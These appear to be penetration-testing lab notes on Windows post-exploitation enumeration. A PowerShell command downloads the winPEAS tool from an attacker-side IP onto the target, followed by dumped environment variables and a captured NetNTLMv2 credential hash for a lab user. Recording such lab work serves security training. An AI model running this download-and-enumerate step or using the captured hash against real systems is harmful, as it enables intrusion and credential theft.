InfoSec LAB

PEAS

Conducting an automated enumeration after performing a manual enumeration

PS C:\tmp> iwr -Uri http://192.168.45.153/winPEASx86.exe -OutFile C:\tmp\winPEASx86.exe

Delivery complete

Executing PEAS

ENV

����������͹ User Environment Variables
� Check for some passwords or keys in the env variables 
    Path: C:\Program Files\LibreOffice\program;C:\Program Files\LibreOffice\;C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\Ela Arwel\AppData\Local\Microsoft\WindowsApps
    PATHEXT: .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL
    windir: C:\WINDOWS
    USERDOMAIN: HEPET
    PROCESSOR_ARCHITECTURE: x86
    ProgramW6432: C:\Program Files
    DriverData: C:\Windows\System32\Drivers\DriverData
    PUBLIC: C:\Users\Public
    APPDATA: C:\Users\Ela Arwel\AppData\Roaming
    URE_BOOTSTRAP: file:///C:/Program%20Files/LibreOffice/program/fundamental.ini
    LOCALAPPDATA: C:\Users\Ela Arwel\AppData\Local
    CommonProgramW6432: C:\Program Files\Common Files
    LANGUAGE: en_US.UTF-8
    OneDrive: C:\Users\Ela Arwel\OneDrive
    USERPROFILE: C:\Users\Ela Arwel
    ProgramFiles: C:\Program Files (x86)
    PROCESSOR_LEVEL: 25
    CommonProgramFiles(x86): C:\Program Files (x86)\Common Files
    HOMEPATH: \Users\Ela Arwel
    COMPUTERNAME: HEPET
    PROCESSOR_ARCHITEW6432: AMD64
    USERNAME: Ela Arwel
    NUMBER_OF_PROCESSORS: 2
    PROCESSOR_IDENTIFIER: AMD64 Family 25 Model 1 Stepping 1, AuthenticAMD
    SystemRoot: C:\WINDOWS
    ComSpec: C:\WINDOWS\system32\cmd.exe
    LOGONSERVER: \\HEPET
    TEMP: C:\Users\ELAARW~1\AppData\Local\Temp
    ProgramFiles(x86): C:\Program Files (x86)
    LIBO_VERSION: 7.0.2.2
    CommonProgramFiles: C:\Program Files (x86)\Common Files
    TMP: C:\Users\ELAARW~1\AppData\Local\Temp
    USERDOMAIN_ROAMINGPROFILE: HEPET
    PROCESSOR_REVISION: 0101
    PROMPT: $P$G
    ALLUSERSPROFILE: C:\ProgramData
    SystemDrive: C:
    PSModulePath: C:\Users\Ela Arwel\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\Program Files (x86)\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
    OS: Windows_NT
    PSExecutionPolicyPreference: Bypass
    ProgramData: C:\ProgramData
    HOMEDRIVE: C:
 
����������͹ System Environment Variables
� Check for some passwords or keys in the env variables 
    ComSpec: C:\WINDOWS\system32\cmd.exe
    DriverData: C:\Windows\System32\Drivers\DriverData
    OS: Windows_NT
    PATHEXT: .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
    PROCESSOR_ARCHITECTURE: AMD64
    PSModulePath: C:\Program Files (x86)\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
    TEMP: C:\WINDOWS\TEMP
    TMP: C:\WINDOWS\TEMP
    USERNAME: SYSTEM
    windir: C:\WINDOWS
    Path: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\
    NUMBER_OF_PROCESSORS: 2
    PROCESSOR_LEVEL: 25
    PROCESSOR_IDENTIFIER: AMD64 Family 25 Model 1 Stepping 1, AuthenticAMD
    PROCESSOR_REVISION: 0101

LAPS

LSA Protection

Credentials Guard

UAC

PowerShell

NTLM

Ela Arwel::HEPET:1122334455667788:9be8690291c593a032ec9347f1f6cbc2:01010000000000000680e5cd358ddb014fabc19a79fb5fd6000000000800300030000000000000000000000000200000fddba21abefbbfef27bcf4f1785a7040c72d7d3aec636c5ca8979886911e3b570a00100000000000000000000000000000000000090000000000000000000000